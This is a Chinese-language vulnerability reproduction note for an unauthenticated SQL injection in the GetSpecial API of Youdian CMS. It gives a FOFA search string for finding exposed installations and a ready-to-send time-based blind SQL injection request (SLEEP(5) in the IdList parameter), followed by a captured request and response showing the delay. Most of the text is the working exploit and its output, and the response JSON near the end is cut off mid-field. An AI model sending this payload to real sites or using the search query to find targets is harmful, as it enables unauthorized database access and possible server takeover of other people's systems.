

Y7-2友点-CMS建站系统-SQL

漏洞描述：

友点CMS建站系统GetSpecial 接口处存在SQL注入漏洞，未经身份认证的攻击者可以利用该漏洞获取系统数据库敏感信息，深入利用可获取服务器权限。

网络测绘：

fofa语法：

FOFA: app="友点建站-CMS"

漏洞复现：

payload:

```
GET /index.php/api/GetSpecial?debug=1&ChannelID=1&IdList=1,1%29%20and%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285%29%29%29A HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
```

效果图:

延时5秒

Request

< >

数据包扫描

热加载

构造请求

1

GET /index.php/api/GetSpecial?debug=1&ChannelID=1&IdList=1,1%29%20and%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285%29%29%29A HTTP/1.1

2

Host: your-ip

3

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4

Accept-Encoding: gzip

5

Connection: close

6

7

Responses

https

207bytes

5255ms

1

HTTP/1.1 200 OK

2

Server: nginx

3

Date: Tue, 20 Feb 2024 10:50:01 GMT

4

Content-Type: text/html; charset=utf-8

5

Connection: close

6

Vary: Accept-Encoding

7

X-Powered-By: PHP/5.4.45

8

Set-Cookie: PHPSESSID=u61tja0lhgndsgtq6ud

9

Expires: Thu, 19 Nov 1981 08:52:00 GMT

10

Cache-Control: no-store, no-cache, must-revalidate

11

Pragma: no-cache

12

Content-Length: 207

13

14

{ "Data": false, "Status": 1, "Message": "", "De350M", "ApiDbRead": 2, "ApiDbWrite": 0, "ApiLoInternalFunction": 3073 }, "Timestamp": 1708